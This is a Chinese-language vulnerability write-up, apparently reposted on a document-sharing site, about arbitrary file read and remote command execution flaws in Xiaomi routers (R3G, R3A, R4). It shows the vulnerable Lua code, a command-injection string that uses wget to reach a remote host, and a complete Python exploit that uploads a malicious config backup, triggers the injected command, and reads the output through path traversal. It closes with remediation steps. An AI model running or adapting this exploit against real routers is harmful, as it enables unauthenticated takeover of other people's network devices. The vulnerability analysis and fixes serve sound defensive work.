下載本文檔
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
Word小米路由器任意文件讀取及遠(yuǎn)程命令執(zhí)行漏洞解析一、漏洞描述
小米路由器是一款高配的(智能)路由器,具備強(qiáng)大的擴(kuò)展,并且具備高速傳輸?shù)奶攸c(diǎn),其傳輸速度最高可以達(dá)到866M,相比普通150M/300M的普通無線路由器具備更高無線傳輸速率。小米路由器系統(tǒng)存在任意文件讀取漏洞和遠(yuǎn)程命令執(zhí)行漏洞,攻擊者通過該漏洞可以獲取服務(wù)器權(quán)限,導(dǎo)致服務(wù)器失陷。
二、漏洞復(fù)現(xiàn)
系統(tǒng)首頁地址及頁面顯示如下
http://xx.xx.xx.xx/cgi-bin/luci/web
調(diào)用的地方貌似有好幾個(gè),其中/usr/lib/lua/luci/controller/api/xqnetdetect.lua中
functionnetspeed()localXQPreference=require("xiaoqiang.XQPreference")localXQNSTUtil=require("xiaoqiang.module.XQNetworkSpeedTest")localcode=0localresult={}localhistory=LuciHttp.formvalue("history")ifhistorythenresult["bandwidth"]=tonumber(XQPreference.get("BANDWIDTH",0,"xiaoqiang"))result["download"]=tonumber(string.format("%.2f",128*result.bandwidth))result["bandwidth2"]=tonumber(XQPreference.get("BANDWIDTH2",0,"xiaoqiang"))result["upload"]=tonumber(string.format("%.2f",128*result.bandwidth2))elseos.execute("/etc/init.d/miqosstop")--這里調(diào)用了downloadSpeedTestlocaldownload=XQNSTUtil.downloadSpeedTest()ifdownloadthenresult["download"]=downloadresult["bandwidth"]=tonumber(string.format("%.2f",8*download/1024))XQPreference.set("BANDWIDTH",tostring(result.bandwidth),"xiaoqiang")elsecode=1588endifcode~=0thenresult["msg"]=XQErrorUtil.getErrorMessage(code)endos.execute("/etc/init.d/miqosstart")endresult["code"]=codeLuciHttp.write_json(result)endfunctiondownloadSpeedTest()localspeedtest="/usr/bin/download_speedtest"localspeed--直接調(diào)用sh文件for_,lineinipairs(LuciUtil.execl(speedtest))doifnotXQFunction.isStrNil(line)andline:match("^avgrx:")thenspeed=line:match("^avgrx:(%S+)")ifspeedthenspeed=tonumber(string.format("%.2f",speed/8))endbreakendendreturnspeedend/tmp/1.txt;exit;wgethttp://xx.xx.xx.xx"/>
remote_command_execution_vulnerability.py
#!/usr/bin/pythonimportosimporttarfileimportrequestsproxies={"http":":8080"}##getstokstok=input("stok:")##makeconfigfilecommand=input("command:")speed_test_filename="speedtest_urls.xml"withopen("template.xml","rt",encoding='gb18030',errors='ignore')asf:template=f.read()data=template.format(command=command)#print(data)withopen("speedtest_urls.xml",'wt')asf:f.write(data)withtarfile.open("payload.tar.gz","w:gz")astar:#tar.add("cfg_backup.des")#tar.add("cfg_backup.mbu")tar.add("speedtest_urls.xml")##uploadconfigfileprint("startuplo(adi)ngconfigfile...")r1=requests.post("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok),files={"image":open("payload.tar.gz",'rb')},proxies=proxies)#print(r1.text)##execdownloadspeedtest,execcommandprint("startexeccommand...")r2=requests.get("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok),proxies=proxies)#print(r2.text)##readresultfiler3=requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../tmp/1.txt",proxies=proxies)ifr3.status_code==200:print("success,vul")print(r3.text)
結(jié)合二者,無需登錄即可遠(yuǎn)程命令執(zhí)行
經(jīng)測(cè)試,在小米系列路由器中存在該漏洞,如小米路由器R3G、小米路由器R3A、小米路由器R4等
三、修復(fù)方案
1、任意文件讀取
將/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改為
location/xxx{alias/abc/;}
修改為
location/xxx/{alias/abc/;}
2、遠(yuǎn)程命令執(zhí)行
將備份文件格式修改為特定格式,直接讀取備份文件內(nèi)容,而不需使用解壓
從speedtest_urls.xml中讀取url時(shí),進(jìn)行必要的過濾,防止命令注入
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年生物制品批簽發(fā)管理測(cè)試題及答案
- 北京警察學(xué)院《環(huán)境工程原理》2024 - 2025 學(xué)年第一學(xué)期期末試卷
- 機(jī)械士兵介紹
- 《斑紋》說課課件高中語文蘇教版必修五科學(xué)之光
- 五一勞動(dòng)安全教育課件
- 2025年電力設(shè)施運(yùn)行維護(hù)與故障處理手冊(cè)
- 2026年劇本殺運(yùn)營(yíng)公司商標(biāo)注冊(cè)與維護(hù)管理制度
- 機(jī)場(chǎng)細(xì)則培訓(xùn)
- 2026年新能源行業(yè)技術(shù)突破與市場(chǎng)前景創(chuàng)新報(bào)告
- 心肺復(fù)蘇指南更新要點(diǎn)專家講座
- 無人機(jī)禁飛區(qū)飛行解禁如何申請(qǐng)
- 房地產(chǎn)項(xiàng)目綠化景觀規(guī)劃與設(shè)計(jì)
- 體溫單模板完整版本
- 2024北京西城區(qū)高一上學(xué)期期末政治試題及答案
- 《材料力學(xué)》課后習(xí)題的答案及解析
- 自動(dòng)扶梯采購?fù)稑?biāo)方案(技術(shù)方案)
- 駐足思考瞬間整理思路并有力表達(dá)完整版
- 汽輪機(jī)本體知識(shí)講解
- 湖南省長(zhǎng)沙市外國語學(xué)校 2021-2022學(xué)年高一數(shù)學(xué)文模擬試卷含解析
- 阿米巴經(jīng)營(yíng)管理培訓(xùn)課件
- 我國的宗教政策-(共38張)專題培訓(xùn)課件
評(píng)論
0/150
提交評(píng)論